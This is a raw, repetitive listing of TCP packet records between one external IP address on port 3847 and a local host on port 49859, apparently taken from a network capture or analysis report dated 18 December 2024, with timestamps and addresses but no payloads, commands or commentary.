Dec 18, 2024 19:28:09.001096964 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.001508951 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.001873016 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.002036095 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.002101898 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.002554893 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.097625971 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.149674892 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.149792910 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.149842978 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.150216103 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.150296926 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.150481939 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.150973082 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.151160955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.151221037 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.152004957 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.152143955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.152292013 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.152662992 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.152793884 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.152915955 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.153661966 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.153767109 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.153820038 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.154505014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.154583931 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.154633999 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.155299902 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.155409098 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.155523062 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.156133890 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.156260014 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.156316042 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.157016039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.157080889 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.157203913 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.157895088 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.158076048 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.158133984 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.158731937 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.158832073 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.158914089 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.159595013 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.159650087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.159826040 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.160491943 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.160578012 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.160784960 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.161303997 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.161439896 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.161744118 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.162249088 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.162389994 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.162447929 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.163327932 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.163381100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.163604975 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.164124966 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.164275885 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.164361000 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.164918900 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.164928913 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.164973974 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.166075945 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.166085958 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.166134119 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.166505098 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.166620970 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.166729927 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.167407036 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.167505026 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.167757988 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.168256044 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.168437004 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.168488026 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.169111013 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.169193029 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.169245005 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.169964075 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.170077085 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.170593977 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.170835018 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.170892954 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.171013117 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.171857119 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.171953917 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.172094107 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.172594070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.172663927 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.172740936 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.173481941 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.173513889 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.173631907 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.174305916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.174560070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.174649954 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.175201893 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.175307989 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.175352097 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.176009893 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.176124096 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.176301956 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.176865101 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.176987886 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.177089930 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.177803040 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.177930117 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.177977085 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.178602934 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.178730011 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.178771973 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.179636955 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.179668903 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.179723978 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.180422068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.180510998 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.180588007 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.181214094 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.181257963 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.181344986 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.182070971 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.182188034 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.182262897 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.183018923 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.183079958 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.183574915 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.183828115 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.183953047 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.184027910 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.184762001 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.184876919 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.184940100 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.185856104 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.185971022 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.186083078 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.186786890 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.186907053 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.186955929 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.187567949 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.187665939 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.187927008 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.188327074 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.188427925 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.188543081 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.189359903 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.189503908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.189646006 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.190145969 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.190227985 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.190320969 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.190855026 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.190963030 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.191018105 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.191694975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.191777945 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.191834927 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.193180084 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.193263054 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.193414927 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.193973064 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.194093943 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.194191933 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.194842100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.194931030 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.195358992 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.195524931 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.285020113 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.343333006 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.343575954 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.343677044 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.343745947 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.343801022 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.343862057 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.344245911 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.344327927 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.344484091 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.344866037 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.344937086 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.345002890 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.345510006 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.345587015 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.345710039 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.346122980 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.346200943 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.346431017 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.346854925 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.347031116 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.347129107 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.347593069 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.347681999 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.347735882 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.348341942 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.348445892 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.348618031 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.349262953 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.349349976 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.349399090 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.350131035 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.350193024 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.350349903 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.350984097 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.351006031 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.351064920 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.351793051 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.351866961 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.351914883 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.352612972 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.352700949 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.352744102 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.353544950 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.353801966 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.353878975 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.354398966 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.354501963 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.354567051 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.355284929 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.355397940 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.355480909 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.356086016 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.356195927 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.356354952 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.356966019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.356988907 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.357084990 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.357824087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.358163118 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.358431101 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.358685017 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.358757019 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.358908892 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.359571934 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.359756947 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.359816074 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.360449076 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.360661983 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.360740900 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.361269951 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.361396074 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.361438036 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.362134933 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.362325907 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.362492085 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.363003969 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.363203049 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.363254070 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.363902092 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.364026070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.364085913 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.364713907 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.364851952 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.364917040 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.365590096 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.365725040 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.365793943 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.366432905 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.366590023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.366652012 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.367352962 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.367415905 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.367477894 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.368222952 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.368335009 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.368624926 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.369127989 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.369153023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.369208097 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.369891882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.370078087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.370213032 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.370773077 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.370874882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.370971918 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.371648073 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.371773005 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.371843100 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.372550964 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.372663021 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.372937918 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.373445988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.373486996 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.373670101 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.374249935 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.374325037 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.374711990 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.375189066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.375298023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.375343084 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.375932932 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.376024961 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.376082897 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.376796961 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.376915932 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.377011061 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.377733946 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.377804995 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.377888918 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.378575087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.378705025 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.379035950 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.379430056 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.379551888 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.379601955 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.380285978 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.380388975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.380436897 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.381134987 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.381211042 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.381375074 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.382155895 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.382227898 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.382303953 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.382894993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.382977009 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.383039951 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.383778095 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.383896112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.383953094 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.384581089 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.384671926 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.384732962 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.385463953 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.385549068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.385646105 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.386327982 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.386462927 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.386523008 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.387125969 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.533902884 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.534003973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.534010887 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:09.534301996 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:09.534341097 CET	49859	3847	192.168.2.6	87.120.127.215
